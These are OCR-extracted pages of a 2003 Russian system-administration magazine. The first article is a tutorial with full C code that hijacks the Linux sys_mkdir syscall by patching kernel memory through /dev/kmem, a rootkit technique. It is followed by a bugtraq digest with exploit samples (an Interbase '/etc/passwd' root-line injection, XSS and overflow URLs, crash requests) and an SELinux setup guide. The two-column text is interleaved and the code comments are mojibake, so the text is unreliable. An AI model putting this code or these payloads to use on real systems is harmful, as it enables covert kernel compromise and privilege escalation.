Это и есть обращение к таблице sys_call_table. Значе-  определяем функцию, выполняющую обращение к
ние 0xc0200520 – адрес таблицы (скорее всего, у вас чис- функции kmalloc. Эта функция возвращает указатель

№5(6), май 2003 57


программирование
на блок памяти в адресном пространстве ядра. Назо- Дизассемблируем функцию inter_module_register. Не-
вем эту функцию get_kmalloc; важно, что делает эта функция, главное, в ней есть то,
 сохраняем первые N байт системного вызова что нам нужно – вызов функции kmalloc:
sys_mkdir, где N – размер функции get_kmalloc;
 перезаписываем первые N байт вызова sys_mkdir фун- disass inter_module_register

кцией get_kmalloc;
 выполняем обращение к системному вызову sys_mkdir, Сразу обращаем внимание на следующие строки:
тем самым запустив на выполнение функцию
get_kmalloc; 0xc0110de4 <inter_module_register+4>: push $0x1f0
0xc0110de9 <inter_module_register+9>: push $0x14
 восстанавливаем первые N байт системного вызова 0xc0110deb <inter_module_register+11>: call 0xc0121c38 <kmalloc>
sys_mkdir.
Это и есть вызов функции kmalloc. Сначала в стек заг-
В результате в нашем распоряжении будет блок памя- ружаются параметры, а затем следует вызов функции.
ти, расположенный в пространстве ядра. Значение 0xc0121c38 в вызове call является адресом фун-
Функция get_kmalloc выглядит следующим образом: кции kmalloc. Первым в стек загружается спецификатор
GFP (push $0x1f0). Как уже упоминалось, для версий ядра
struct kma_struc { 2.4.9 и выше это значение составляет 0x1f0. Найдем оп-
ulong (*kmalloc) (uint, int);
int size; код этой команды:
int flags;
ulong mem;
} __attribute__ ((packed)); x/xw (inter_module_register+4)

int get_kmalloc(struct kma_struc *k)


{ В результате получаем:
k->mem = k->kmalloc(k->size, k->flags);
return 0;
} 0xc0110de4 <inter_module_register+4>: 0x0001f068

Поля структуры struct kma_struc заполняются следую- Если мы найдем этот опкод, то сможем вычислить ад-
щими значениями: рес функции kmalloc. На первый взгляд, адрес этой функ-
 поле size – требуемый размер блока памяти; ции является аргументом инструкции call, но это не со-
 поле флаг – спецификатор GFP_KERNEL. Для версий всем так. В отличии от функции system_call, здесь за ин-
ядра 2.4.9 и выше это значение составляет 0x1f0; струкцией call стоит не адрес kmalloc, а смещение к нему
 поле mem – в этом поле будет сохранен указатель на относительно текущего адреса. Убедимся в этом, опре-
начало блока памяти длиной size, выделенного в ад- делив опкод команды call 0xc0121c38:
ресном пространстве ядра (возвращаемое функцией
kmalloc значение); x/xw (inter_module_register+11)
 поле kmalloc – адрес функции kmalloc.
В ответ получаем:
Адрес функции kmalloc необходимо найти. Сделать это
можно несколькими способами. Самый простой путь – счи- 0xc0110deb <inter_module_register+11>: 0x010e48e8
тать этот адрес из файла System.map или определить с
помощью отладчика gdb (print &kmalloc). Если в ядре вклю- Первый байт равен e8 – это опкод инструкции call. Най-
чена поддержка модулей, адрес kmalloc можно опреде- дем значение аргумента этой команды:
лить при помощи функции get_kernel_syms(). Этот вари-
ант будет рассмотрен далее. Если же поддержка моду- x/xw (inter_module_register+12)
лей ядра отсутствует, то адрес функции kmalloc придется
искать по опкоду команды вызова kmalloc – аналогично Получим:
тому, как было сделано для таблицы sys_call_table.
Функция kmalloc принимает два параметра: размер 0xc0110deñ <inter_module_register+12>: 0x00010e48
запрашиваемой памяти и спецификатор GFP. Вызов этой
функции выглядит следующим образом: Теперь если мы сложим текущий адрес 0xc0110deb,
смещение 0x00010e48 и 5 байт команды (1 байт инструк-
push GFP_KERNEL ции call и 4 байта смещения), то получим искомый адрес
push size
call kmalloc функции kmalloc:

Для поиска опкода воспользуемся отладчиком и ди- 0xc0110deb + 0x00010e48 + 5 = 0xc0121c38


зассемблируем любую функцию ядра, в которой есть вы-
зов функции kmalloc. На этом завершим теоретические выкладки и, исполь-
Загружаем отладчик: зуя вышеприведенную методику, осуществим перехват
системного вызова sys_mkdir.
gdb -q /usr/src/linux/vmlinux

58
программирование
Пример перехвата системного вызова {
В начале, как всегда, заголовочные файлы: return 0;
}
#include <stdio.h> Функция new_mkdir перехватывает системный вызов
#include <string.h>
#include <sys/types.h> sys_mkdir. Она ничего не делает, просто возвращает ну-
#include <sys/stat.h> левое значение.
#include <fcntl.h>
#include <errno.h> Определим несколько функций для работы с файлом
#include <linux/module.h> устройства /dev/kmem.
#include <linux/unistd.h>
Функция чтения данных из kmem:
Определим имя файла устройства виртуальной памяти:
static inline int rkm(int fd, uint offset, void *buf, uint size)
{
#define KMEM_FILE "/dev/kmem" if (lseek(fd, offset, 0) != offset) return 0;
int main() { if (read(fd, buf, size) != size) return 0;
return size;
Структура, описывающая формат регистра IDTR: }
Функция записи данных в kmem:
struct {
unsigned short limit; static inline int wkm(int fd, uint offset, void *buf, uint size)
unsigned int base; {
} __attribute__ ((packed)) idtr; if (lseek(fd, offset, 0) != offset) return 0;
if (write(fd, buf, size) != size) return 0;
return size;
Структура, описывающая формат шлюза прерывания }
таблицы IDT: Функция чтения 4-х байтового значения (int, unsigned
long) из kmem:
struct {
unsigned short off1; static inline int rkml(int fd, uint offset, ulong *buf)
unsigned short sel; {
unsigned char none, flags; return rkm(fd, offset, buf, sizeof(ulong));
unsigned short off2; }
} __attribute__ ((packed)) idt;
Функция записи 4-х байтового значения в kmem:
Номер вызова, который мы будем перехватывать:
static inline int wkml(int fd, uint offset, ulong buf)
{
#define _SYS_MKDIR_ 39 return wkm(fd, offset, &buf, sizeof(ulong));
}
Номер 39 соответствует системному вызову sys_mkdir. Функция определения адреса таблицы sys_call_table:
Переменные и их назначение:

int kmem; ulong get_sct()


ulong get_kmalloc_size; - ðàçìåð ôóíêöèè get_kmalloc {
int kmem;
ulong get_kmalloc_addr; - àäðåñ ôóíêöèè get_kmalloc ulong sys_call_off; - àäðåñ îáðàáîò÷èêà
ulong new_mkdir_size; - ðàçìåð ôóíêöèè-ïåðåõâàò÷èêà
ulong new_mkdir_addr; - àäðåñ ôóíêöèè-ïåðåõâàò÷èêà ïðåðûâàíèÿ int $0x80 (ôóíêöèÿ system_call)
char *p;
âûçîâà sys_mkdir char sc_asm[128];
ulong sys_mkdir_addr; - àäðåñ ñèñòåìíîãî âûçîâà sys_mkdir
ulong page_offset; - íèæíÿÿ ãðàíèöà àäðåñíîãî
ïðîñòðàíñòâà ÿäðà
ulong sct; - àäðåñ òàáëèöû sys_call_table Командой SIDT получаем содержимое регистра таб-
ulong kma; - àäðåñ ôóíêöèè kmalloc
unsigned char tmp[1024]; лицы дескрипторов прерываний. Результат команды по-
местим в структуру idtr:
Значения адресов функций get_kmalloc и
asm("sidt %0" : "=m" (idtr));
new_mkdir_call и их размеры нам предстоит определить.
Пока что оставим эти поля пустыми.
В поле base структуры idtr находится адрес таблицы
struct kma_struc { IDT. Зная этот адрес и размер шлюза в этой таблице (8
ulong (*kmalloc) (uint, int);
int size; байт), получим содержимое шлюза прерывания int $0x80
int flags; и извлечем из него адрес обработчика:
ulong mem;
} __attribute__ ((packed)) kmalloc;
if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt)))
int get_kmalloc(struct kma_struc *k) return 0;
{
k->mem = k->kmalloc(k->size, k->flags); Содержимое шлюза поместим в структуру idt. Два
return 0;
} поля этой структуры, off1 и off2, содержат адрес обра-
ботчика (функции system_call). В поле off1 находятся
Структура struct kma_struc и функция get_kmalloc и их младшие 16 бит, а в поле off2 – старшие 16 бит адреса
назначение уже были рассмотрены. обработчика. Для получения адреса обработчика сло-
int new_mkdir(const char *path) жим содержимое этих полей следующим образом:

№5(6), май 2003 59


программирование

sys_call_off = (idt.off2 << 16) | idt.off1; if (!rkm(kmem, i, buf, sizeof(buf))) return 0;

Теперь нам известен адрес функции system_call (если В этом буфере ищем опкод команды push $0x1f0, ко-
точнее, это не адрес, а смещение в сегменте команд). Для торый, как нами установлено, равен \x68\xf0\x01\x00. Для
получения адреса таблицы sys_call_table попытаемся най- поиска используем функцию memmem:
ти опкод команды обращения к этой таблице.
Смещаемся по адресу функции system_call и считыва- p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4);
if(p1) {
ем первые 128 байт обработчика в буфер sc_asm:
Если последовательность \x68\xf0\x01\x00 найдена,
if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0; ищем опкод инструкции call (\xe8). Сразу за ним будет
close(kmem);
находиться смещение к функции kmalloc относительно
В этом буфере ищем опкод обращения к таблице текущего адреса:
sys_call_table. Поиск выполняется при помощи функции
memmem. Данная функция возвращает указатель на по- p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1;
if (p) {
зицию в буфере, в которой была найдена эталонная стро-
ка. В нашем случае эталонной строкой является опкод ко- В этом месте указатель p в буфере buf будет позицио-
манды обращения к таблице sys_call_table – \xff\x14\x85. нирован на смещении к функции kmalloc. Закрываем файл
Если этот опкод найден, то следующие за ним 4 байта устройства и возвращаем адрес kmalloc:
будут содержать адрес таблицы:
close(kmem);
return *(unsigned long *)p+i+(p-buf)+4;
p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3; }
}
}
Если опкод удалось найти, возвращаем адрес табли-
цы системных вызовов: Если ничего найти не удалось, возвращаем нулевое
значение:
if (p) return *(ulong *)p;
close(kmem);
return 0;
В случае неудачи возвращаем нулевое значение: }

return 0; Функция get_sym используется, если в ядре включена


}
поддержка модулей. Данная функция принимает строку,
Функция для определения адреса функции kmalloc: содержащую имя функции ядра, и возвращает ее адрес:

ulong get_kma(ulong pgoff) #define MAX_SYMS 4096


{ ulong get_sym(char *n) {
uint i; struct kernel_sym tab[MAX_SYMS];
unsigned char buf[0x10000], *p, *p1; int numsyms;
int kmem; int i;

Функция принимает один параметр – величину ниж- numsyms = get_kernel_syms(NULL);


if (numsyms > MAX_SYMS || numsyms < 0) return 0;
ней границы адресного пространства ядра. Это значение get_kernel_syms(tab);
составляет 0xc0000000. for (i = 0; i < numsyms; i++) {
if (!strncmp(n, tab[i].name, strlen(n)))
Если в ядре включена поддержка модулей, то восполь- return tab[i].value;
зуемся этим: }
return 0;
}
ret = get_sym("kmalloc");
if (ret) {
printf("\nZer gut!\n"); Итак, все необходимые функции определены. Теперь
return ret; приступим непосредственно к перехвату системного вы-
}
зова sys_mkdir. Определим адреса таблицы системных
Если нет, будем искать адрес по опкоду. вызовов (sct), функции kmalloc (kma) и нижней границы
адресного пространства ядра (page_offset):
kmem = open("/dev/kmem", O_RDONLY);
if (kmem < 0) return 0;
sct = get_sct();
page_offset = sct & 0xF0000000;
Для поиска нам придется просканировать все адрес- kma = get_kma(page_offset);
ное пространство ядра. Для этого организуем цикл:
Отобразим полученные данные:
for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000)
{ printf("OK\n"
"page_offset\t\t:\t0x%08x\n"
Считываем в буфер buf содержимое адресного про- "sys_call_table[]\t:\t0x%08x\n"
странства ядра: "kmalloc()\t\t:\t0x%08x\n",

60
программирование
page_offset, Отображаем результаты:
sct,
kma);
printf(
"sys_mkdir_addr\t\t:\t0x%08x\n"
kmem = open(KMEM_FILE, O_RDWR, 0); "get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n"
if (kmem < 0) return 0; "our kmem region\t\t:\t0x%08x\n"
"size of our kmem\t:\t0x%08x (%d bytes)\n\n",
Для размещения функции new_mkdir в адресном про- sys_mkdir_addr,
странстве ядра выделим блок памяти. Для этого восполь- get_kmalloc_size, get_kmalloc_size,
kmalloc.mem,
зуемся вышеприведенным алгоритмом вызова функции kmalloc.size, kmalloc.size);
ядра из пространства пользователя.
Получим адрес системного вызова sys_mkdir: Размещаем в пространстве ядра функцию new_mkdir:

if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) { if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, ↵


printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_); new_mkdir_size)) {
return 1; printf("Unable to locate new system call !\n");
} return 1;
}
Сохраним первые N байт этого вызова в буфере tmp,
где N=get_kmalloc_size (get_kmalloc_size – это размер и в таблице системных вызовов заменяем адрес функции
функции get_kmalloc и его предстоит определить): sys_mkdir адресом new_mkdir:

if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) { if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) {


printf("Cannot save old %d syscall!\n", _SYS_MKDIR_); printf("Eh ...");
return 1; return 1;
} }
Перезаписываем N сохраненных байт системного вы- return 1;
зова sys_mkdir функцией get_kmalloc: }
Сохраним вышеприведенный код в файле new_mkdir.c
if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, ↵ и получим исполняемый модуль командой:
get_kmalloc_size)) {
printf("Can't overwrite our syscall %d!\n",_SYS_MKDIR_);
return 1; gcc -o new_mkdir new_mkdir.c
}

Адрес функции get_kmalloc (get_kmalloc_addr) также Но запускать на выполнение полученный модуль пока
предстоит определить. рано. Нам еще необходимо определить адреса и разме-
Заполняем поля структуры struct kma_struc: ры функций get_kmalloc и new_mkdir. Для этого восполь-
зуемся утилитой objdump. Введем команду:
kmalloc.kmalloc = (void *) kma; - àäðåñ ôóíêöèè kmalloc
kmalloc.size = new_mkdir_size; - ðàçìåð çàïðàùåâîåìîé objdump -x ./new_mkdir > dump
ïàìÿòè (ðàçìåð ôóíêöèè-ïåðåõâàò÷èêà new_mkdir)
kmalloc.flags = 0x1f0; - ñïåöèôèêàòîð GFP
Вывод перенаправим в файл dump. Откроем этот файл
А теперь обращаемся к системному вызову sys_mkdir, и найдем в нем следующие строки:
запустив тем самым на выполнение функцию get_kmalloc: 08048630 l F .text00000038 get_kmalloc.39
08048668 l F .text00000011 new_mkdir.43
mkdir((char *)&kmalloc,0); Итак, адрес функции get_kmalloc – 0x08048630, раз-
мер – 56 байт (0x38), адрес функции new_mkdir –
В результате в пространстве ядра будет выделен блок 0x08048668, размер – 17 байт (0x11).
памяти, указатель на который будет записан в поле mem Открываем файл new_mkdir.c и в разделе переменных
структуры struct kma_struc. В этом блоке памяти мы раз- заполняем полученными значениями соответствующие поля:
местим функцию new_mkdir, которая будет обслуживать ulong get_kmalloc_size=56; - ðàçìåð ôóíêöèè get_kmalloc
все обращения к системному вызову sys_mkdir. ulong get_kmalloc_addr=0x08048630; - àäðåñ ôóíêöèè
Восстанавливаем системный вызов sys_mkdir: get_kmalloc
ulong new_mkdir_size=17; - ðàçìåð ôóíêöèè new_mkdir
ulong new_mkdir_addr=0x08048668; - àäðåñ ôóíêöèè new_mkdir
if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) {
printf("Can't restore syscall %d !\n",_SYS_MKDIR_);
return 1; После этого перекомпилируем модуль. Запустив его
}
на выполнение, мы осуществим перехват системного вы-
Проверяем значение указателя на блок выделенной зова sys_mkdir. Все обращения к вызову sys_mkdir будут
памяти. Он должен располагаться выше нижней границы обслуживаться функцией new_mkdir. Чтобы убедиться, что
адресного пространства ядра: вызов перехвачен, введем команду mkdir <имя каталога>.
При этом ничего не произойдет, так как функция-пере-
if (kmalloc.mem < page_offset) { хватчик new_mkdir просто вернет нулевое значение.
printf("Allocated memory is too low (%08x < %08x)\n",
kmalloc.mem, page_offset); Работоспособность вышеприведенного кода была про-
return 1; верена для ядер версий 2.4.17 и 2.4.20. При подготовке ста-
}
тьи были использованы материалы сайта www.phrack.org.

№5(6), май 2003 61


bugtraq
Подробности удаленного переполнения XSS в Python Documentation Server
буфера в Samba Уязвимость в проверке правильности ввода обнаружена
Переполнение буфера обнаружено в Samba. Удаленный в Python Documentation Server. Удаленный пользователь
анонимный пользователь может получить root-привиле- может выполнить XSS-нападение.
гии на целевом сервере. Как сообщается, удаленный атакующий может сконст-
Анонимный пользователь может получить root-доступ, руировать специальный запрос к Python Documentation Server
эксплуатируя переполнение буфера в функции StrnCpy() на 7464 порту, чтобы выполнить произвольный код сцена-
в smbd/trans2.c: рия. Уязвимость может использоваться для организации
различных нападений против веб-приложения. Пример:
StrnCpy(fname,pname,namelen);
/* Line 252 of smbd/trans2.c */ http://hostname:7464/<script>very_evil_code</script>
В функции call_trans2open в trans2.c функция Samba
StrnCpy копирует pname в fname, используя namelen. Пе- DoS против Abyss Web Server
ременной namelen назначено значение strlen(pname)+1, Уязвимость в проверке правильности ввода обнаружена
которое вызывает переполнение. в Abyss Web Server при обработке полей HTTP-заголов-
Переменная «fname» – _typedef_ pstring, которая яв- ков. Удаленный пользователь может аварийно завершить
ляется char размером 1024 байт. Если pname больше чем работу веб-сервера.
1024, вы можете перезаписать все что угодно после 1024 PivX Solutions сообщил, что удаленный пользователь
байта, который соответствует sizeof(pname), или значе- может послать HTTP GET запрос с пустыми полями
нию, возвращенному SVAL(inbuf,smbd_tpscnt) в функции «Connection:» или «Range:» в HTTP-заголовке, чтобы ава-
reply_trans2(), которое равно приблизительно 2000 бай- рийно завершить работу сервера. Пример:
там. Уязвимость обнаружена в < Samba 2.2.8a, <= Samba
2.0.10, < Samba-TNG 0.3.2. --------------
GET / HTTP/1.0
Connection:
Уязвимость в управлении доступом --------------
к файлам во внешних таблицах GET / HTTP/1.0
в Interbase/Firebird Range:
Уязвимость обнаружена в базах данных Interbase/Firebird
в разрешениях доступа к файлу, связанного с внешними Уязвимость обнаружена в Abyss Web Server 1.1.2.
таблицами. Заверенный удаленный или локальный
пользователь может изменять файлы на системе с root- Переполнение буфера
привилегиями. в Opera веб-браузере
Заверенный пользователь может создать таблицу во Удаленное переполнение буфера обнаружено в Opera веб-
внешнем файле, который является произвольным фай- браузере. Злонамеренный веб-сайт может переполнить
лом на системе. Программное обеспечение не проверяет буфер и выполнить произвольный код с привилегиями те-
правильность разрешений на доступ к такому файлу. Если кущего пользователя. Запрос следующего URL приведет
файл существует, база данных откроет его и добавит в к аварийному завершению работы браузера:
конец данные пользователя. В результате пользователь
может изменять файлы на системе с системными приви- http://usuarios.lycos.es/idoru/aaAAAAAAAAAAAAAAAAAAAAAAA ↵
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ↵
легиями. Пример: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ↵
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ↵
create table test external '/etc/passwd' (id char(80)); AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zip
insert into test values('r00t::0:0:root:/root:/bin/bash');
Уязвимость может использоваться для выполнения
Уязвимость обнаружена в Borland InterBase 6.01, 6.5, произвольного кода. Уязвимость обнаружена в Opera 7.02.
Firebird Database 1.0.2.
Выполнение произвольного кода
Удаленное выполнение произвольного в Progress Database
кода в PoPToP PPTP Server Переполнение буфера обнаружено в Progress Database в
Переполнение буфера обнаружено в PoPToP PPTP сер- BINPATHX-переменной. Локальный пользователь может
вере. Удаленный пользователь может выполнить произ- получить root-привилегии на системе.
вольный код на целевом сервере. Secure Network Operations Strategic Reconnaissance
Переполнение буфера существует в функции Team сообщила, что программа не выполняет проверку
read_pptp_header() в «ctrlpacket.c» файле. Удаленный границ BINPATHX-переменной. Локальный пользователь
пользователь может послать специально сформирован- может установить переменную к специально обработан-
ный PPTP-пакет, с заголовком длины 0 или 1, чтобы зас- ному значению и затем запустить базу данных, чтобы за-
тавить функцию записать «неограниченное» количество ставить ее данных выполнить произвольный код с root-
данных в стековый буфер. Произвольный код будет вы- привилегиями.
полнен с привилегиями процесса PPTP-сервера. Уязвимость обнаружена в Progress Database v9.1D up
Уязвимость обнаружена в PoPToP PPTP Server до 1.1.4-b3. to 9.1D05.

62
безопасность

SELINUX
" Открытое программное
обеспечение играет все более
и более важную роль в федеральных
IT- системах. Я восхищен, что
эксперты защиты агентства
национальной безопасности делают
это ценное содействие open source. "

Jeffery Hunker, Senior Director for


Critical Infrastructure at the White
House National Security Council

64
безопасность
Дистрибутивов Linux существует великое множество, есть
среди них предназначенные для конечного пользователя,
есть совсем маленькие, как правило, однодискетные, уз-
коспециализированные, предназначенные для решения
конкретных задач, и нашлось место довольно приличной
группе, обозначенной как Security enchanced. Хотя грань
между всеми этими категориями в большинстве случаев
провести довольно трудно. В последней группе особое
внимание привлекает Security Enhanced Linux (http://
www.nsa.gov/selinux/) или просто SELinux, разработанный
в недрах U.S. National Security Agency (NSA). Возник этот
проект в 2000 году. В разработках участвуют такие орга-
низации, как Secure Computing Corporation, Networks
Associates Technology Labs и MITRE Corporation и много
добровольцев, так как проект распространяется по лицен-
зии GPL. Основной задачей проекта было достижение та-
кого уровня защищенности системы, чтобы можно было
спокойно использовать ее в военных и правительствен-
ных организациях. Но по большому счету это не совсем
дистрибутив, каким привыкли его видеть администрато-
ры. SELinux представляет собой дополнительные расши-
рения к ядру, увеличивающие его защищенность и воз-
можность более гибко и строго работать с правами дос-
тупа для конкретных пользователей. Чтобы обеспечить до-
полнительную гибкость при добавлении новых возможно-
стей с помощью различных add-on был разработан мо-
дуль защиты Linux Security Module (LSM), который обес-
печивает модульное добавление расширений защиты к
стандартному ядру Linux.
Операционные системы должны иметь возможность
обеспечить разделение информации, основанной на кон-
фиденциальности и требованиях целостности, для обес-
печения защиты системы. Существует несколько моде-
лей контроля доступа, применяемых в различных систе-
мах. В Unix применяется модель Discretionary Access
Control (DAC), которая описывает права каждого пользо-
вателя по доступу к конкретным файлам, выполняющие-
ся программы имеют те же права, что и запустивший их
пользователь. При необходимости пользователь может
предоставлять другим доступ к своим файлам и програм-
мам. При такой модели уровень системной защиты оста-
ется зависимым от конкретных функционирующих при-
ложений. Например, если программа, функционирующая
от имени root, скомпрометирована, то нападавший может
вполне получить в системе аналогичные привилегии, так
как механизм DAC опирается в своей работе только на
тождество пользователя и монопольное использование,
игнорируя другую вполне уместную информацию, напри-
мер, о роли пользователя в системе, функции и уровне
доверия конкретной программы и необходимости в цело-
стности данных. Каждый пользователь имеет полную сво-
боду действий в пределах своих полномочий. Другая мо-
дель защиты, основанная на принудительном контроле
доступа – Mandatory Access Control (MAC) – позволяет
настроить доступ, базируясь на решении относительно
конкретных документов и классификаций объектов. При-
чем используются очень строгие правила по типу "что не
разрешено явно – запрещено". Но осуществление меха-
низма MAC в Unix-системах напрямую может привести к

№5(6), май 2003 65


безопасность
образованию большого количества правил, так как при- мые программы управления доступом и основные утили-
дется описывать определенные правила для каждого ты (ps, cp, find, id, ls, mkdir) с поддержкой режимов рабо-
пользователя и каждой программы, которую он может ис- ты SELinux. Все это доступно одним архивом, помечен-
пользовать. Чтобы избежать этого, в SELinux использо- ным на сайте единицей. Хотя можно попробовать самому
вана концепция роль-основанного контроля доступа Role- пропатчить ядро и установить необходимые утилиты, но
Based Access Control (RBAC), с помощью которой адми- это займет больше времени.
нистратор системы определяет роли и разрешает пользо- Перед установкой необходимо убедиться, что файло-
вателям доступ к тем ролям, которые ему действительно вая система отформатирована как ext2 или ext3, установ-
необходимы. Определяя роли в системе и объекты в сис- лены необходимые сервисы (Apache, Samba и т. д.), так-
теме, к которым эти роли могут обращаться, и разрешая же рекомендовано настроить систему без автоматичес-
теперь различным пользователям использовать различ- кого запуска X-Window, для чего в файле /etc/inittab не-
ные роли, задача определения принудительного контро- обходимо установить 3 уровень запуска (для Red Hat со-
ля доступа существенно упрощается. В SELinux выпол- вместимых дистрибутивов). Установить SELinux можно
нена модель Mandatory Access Control, основанная на двумя способами, все они описаны в соответствующем
Linux-ядре. Администратор системы имеет возможность README. В простейшем случае после распаковки скачан-
установить политику защиты, в которой определить, ка- ного архива необходимо отредактировать файл ./selinux/
кие из программ к каким файлам могут обращаться. Это policy/user, в котором определен каждый пользователь,
несколько напоминает инструкции firewall, индивидуаль- признаваемый системной политикой защиты, т.е. разре-
ные для каждого сетевого интерфейса. Механизм защи- шенные роли для каждого пользователя. Необходимо раз-
ты в SELinux носит название Type Enforcement (TE) и по- решить по крайней мере одному пользователю роль ад-
зволяет закрепить за каждым процессом и файлом, кото- министратора системы (sysadm_r), а для других достаточ-
рые необходимо контролировать, некую метку. Теперь к но будет обычной роли пользователя (user_r). Не забудь-
политике, определенной администратором, ядро обраща- те удалить пример jadmin и Jdoe. Далее для конкретной
ется через сервер защиты, встроенный в ядро, который и системы необходимо проверить пути к файлам для каж-
решает, допустить ли к процессу или файлу или отверг- дого охраняемого сервиса в файле ./selinux/policy/
нуть запрос. Если процесс, запущенный от имени адми- file_contexts/{types.fc,program/*.fc}. Теперь, зарегистриро-
нистратора, скомпрометирован, то ущерб, который может вавшись как root, вводим make quickinstall, и программа
быть причинен системе, ограничен только тем, к чему он сама выполнит необходимые команды. При конфигури-
может обращаться, согласуясь с установленными для него ровании ядра не забудьте включить поддержку ext3 и тип
правилами. Дополнительно в SELinux заложена возмож- процессора. Также обязательно включите следующие
ность использования многоуровневой модели защиты опции:
Multi-Level Security model (MLS), которая используется  В Networking Options:
только в военных и правительственных многопользова-
тельских системах, требующих чрезвычайно высокого Network Packet Filtering
уровня защиты. В этой модели все объекты типа файлов
могут классифицироваться с уровнями защиты типа “Top  И в Security Options:
Secret”, “Secret”, “Confidential” и “Unrestricted”. При этом ин-
формация может переходить от нижнего уровня к верхне- Enable different security models
Capabilities Support
му, но никогда в обратном направлении. NSA SELinux Support
NSA SELinux Development Support
Установка SELinux
Так как SELinux – это не полноценный дистрибутив, а ви- Среди опций обнаружилась также LIDS, Linux Intrusion
доизмененное ядро с набором патчей для некоторых при- Detection System, помеченная как EXPERIMENTAL, систе-
ложений и утилиты, обеспечивающие работу в новом ок- ма, позволяющая ограничить в правах даже всемогуще-
ружении, поэтому первоначально необходимо иметь уже го root, но инструментов для конфигурирования данной
установленную Linux-систему. В качестве базового может системы я не нашел. Вообще опции, помеченные как
использоваться практически любой дистрибутив со стан- EXPERIMENTAL, рекомендуется включать только для эк-
дартным размещением конфигурационных файлов. Я для сперимента.
установки использовал CRUX (http://crux.nu/) – легкий, i686 После окончания процесса компиляции ядра его необ-
оптимизированный дистрибутив, рассчитанный на подго- ходимо скопировать в каталог /boot с префиксом -selinux
товленного пользователя, имеющий удобную систему па- и затем сконфигурировать загрузчик. После перезагруз-
каджей и портов, подобную FreeBSD, и в базовом соста- ки, чтобы не набирать каждый раз полный путь к испол-
ве не содержащий ничего лишнего, но имеющий все не- няемым файлам, желательно поместить каталоги /usr/
обходимое для установки SELinux. И к тому же при уста- local/selinux/bin и /usr/local/selinux/sbin в переменную
новке CRUX все равно приходится самостоятельно соби- $PATH. После этого можно проверить, как работают ути-
рать ядро. Теперь по адресу http://www.nsa.gov/selinux/src- литы, поставляемые с SELinux. Например, команда ps, вы-
disclaim.html выбираем необходимые пакеты. Советую водящая информацию о процессах, теперь дополнитель-
скачать сразу все необходимое, т.е. LSM-патченное ядро, но выводит данные о контексте защиты функционирую-
модули ядра SELinux, набор файлов политик, необходи- щих процессов.

66
безопасность
[root@grinder /]# ps -e --context сам), то все файлы имеют одинаковую метку-роль object_r.
PID SID CONTEXT COMMAND И файлы с различными требованиями защиты имеют раз-
1 7 system_u:system_r:init_t init
2 1 system_u:system_r:kernel_t [keventd] личные типы, например, /boot – boot_t, а /etc имеет тип
3 1 system_u:system_r:kernel_t [kapmd] etc_t . При включении во время компиляции ядра опции
4 1 system_u:system_r:kernel_t [ksoftirqd_CPU0]
5 1 system_u:system_r:kernel_t [kswapd] SELinux Development Support система поначалу начинает
6 1 system_u:system_r:kernel_t [bdflush] функционировать в разрешающем режиме (permissive).
7 1 system_u:system_r:kernel_t [kupdated]
8 7 system_u:system_r:init_t [khubd] Другими словами, вместо блокировки неразрешенных
9 7 system_u:system_r:init_t [kjournald] политикой защиты функций, все такие незаконные дей-
920 345 system_u:system_r:syslogd_t syslogd -m 0
942 367 system_u:system_r:klogd_t klogd -x ствия будут просто регистрироваться в /var/log/messages,
1012 423 system_u:system_r:gpm_t gpm -t ps/2 -m после чего они будут разрешены. Этот режим удобно ис-
/dev/mouse
пользовать для выяснения политик доступа специфичной
Как видите, в выводе программы добавились два стол- для конкретной системы и подправить конфигурацию. Для
бца: цифра SID (Security IDentifier tag) – метка идентифи- того чтобы включить затем режим принуждения
катора защитный и ассоцииативный пользователь, роль (enforcing), необходимо включить его командой avc_toggle,
и тип для отображаемого процесса в формате тогда незаконные функции будут полностью блокирова-
user:role:domain или user:role:type. Каждый процесс дол- ны. Но самым непривычным для сисадмина будет то, что
жен иметь свой собственный отдельный домен. Если не- введя команду на выполнение, иногда получаем такой вот
которые системные процессы функционируют в домене ответ от системы. Проверяем, кто мы:
initrc_t , то либо он не был передвинут в отдельный до-
[root@grinder /]# id uid=0(root) gid=0(root)
мен, или, скорее всего, в файле ./selinux/policy/file_contexts/ groups=0(root) context=root:user_r:user_t sid=260
{types.fc,program/*.fc} путь к выполняемой программе ука-
зан неправильно. В любом случае необходимо запретить Обратите внимание на роль user_r. Проверяем режим за-
выполняться процессам в домене initrc_t. Процесс адми- щиты:
нистратора должен иметь тождественного пользователя
и sysadm_r роль, shell и большинство его дочерних про- [root@grinder /]# avc_toggle enforcing
цессов будут иметь sysadm_t домен. Некоторые из выпол-
няемых процессов одного пользователя могут быть в раз- А теперь пробуем изменить его в разрешающий режим.
личных доменах, так же они требуют различных привиле-
гий. Аналогично изменился вывод команды ls, которая [root@grinder /]# avc_toggle avc_toggle:
Permission denied
теперь дополнительно показывает контекстные метки для
файлов. И это для root! Безобразие, однако. Все дело в том,
что системный администратор должен изменить свою
[root@grinder /]# ls -l --context drwxr-xr-x root root роль в системе, чтобы получить действительно полные
system_u:object_r:bin_t bin
drwxr-xr-x root root system_u:object_r:boot_t boot права в ней.
drwxr-xr-x root root system_u:object_r:device_t dev
drwxr-xr-x root root system_u:object_r:etc_t etc [root@grinder /]# newrole -r sysadm_r
drwxr-xr-x root root system_u:object_r:file_t initrd Authenticating root.
